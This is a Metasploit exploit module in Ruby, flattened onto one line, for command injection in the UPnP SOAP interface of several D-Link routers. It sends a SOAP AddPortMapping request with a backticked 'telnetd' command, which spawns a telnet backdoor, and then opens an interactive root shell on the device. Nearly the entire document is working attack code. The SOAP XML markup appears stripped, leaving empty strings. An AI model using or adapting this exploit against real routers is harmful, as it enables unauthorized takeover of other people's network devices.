## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link Devices UPnP SOAP Telnetd Command Execution', 'Description' => %q{ Various D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. This module has been tested successfully on DIR-300, DIR-600, DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer, more D-Link devices may be affected. }, 'Author' => [ 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '94924' ], [ 'BID', '61005' ], [ 'EDB', '26664' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] ], 'DisclosureDate' => 'Jul 05 2013', 'Privileged' => true, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(49152) #port of UPnP SOAP webinterface ], self.class) register_advanced_options( [ OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) ], self.class) end def tel_timeout (datastore['TelnetTimeout'] || 10).to_i end def banner_timeout (datastore['TelnetBannerTimeout'] || 25).to_i end def exploit @new_portmapping_descr = rand_text_alpha(8) @new_external_port = rand(65535) @new_internal_port = rand(65535) telnetport = rand(65535) vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") cmd = "telnetd -p #{telnetport}" type = "add" res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end type = "delete" res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) if sock.nil? fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") prompt = negotiate_telnet(sock) if prompt.nil? sock.close fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") else print_good("#{rhost}:#{rport} - Telnet session successfully established...") end handler(sock) end def request(cmd, type) uri = '/soap.cgi' data_cmd = "" data_cmd << "" data_cmd << "" if type == "add" vprint_status("#{rhost}:#{rport} - adding portmapping") soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" data_cmd << "" data_cmd << "#{@new_portmapping_descr}" data_cmd << "" data_cmd << "`#{cmd}`" data_cmd << "1" data_cmd << "#{@new_external_port}" data_cmd << "" data_cmd << "TCP" data_cmd << "#{@new_internal_port}" data_cmd << "" else #we should clean it up ... otherwise we are not able to exploit it multiple times vprint_status("#{rhost}:#{rport} - deleting portmapping") soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" data_cmd << "" data_cmd << "TCP#{@new_external_port}< NewRemoteHost>" data_cmd << "" end data_cmd << "" data_cmd << "" begin res = send_request_cgi({ 'uri' => uri, 'vars_get' => { 'service' => 'WANIPConn1' }, 'ctype' => "text/xml", 'method' => 'POST', 'headers' => { 'SOAPAction' => soapaction, }, 'data' => data_cmd }) return res rescue ::Rex::ConnectionError fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end end def negotiate_telnet(sock) begin Timeout.timeout(banner_timeout) do while(true) data = sock.get_once(-1, tel_timeout) return nil if not data or data.length == 0 if data =~ /\x23\x20$/ return true end end end rescue ::Timeout::Error return nil end end end # Iranian Exploit DataBase = http://IeDb.Ir [2013-09-17]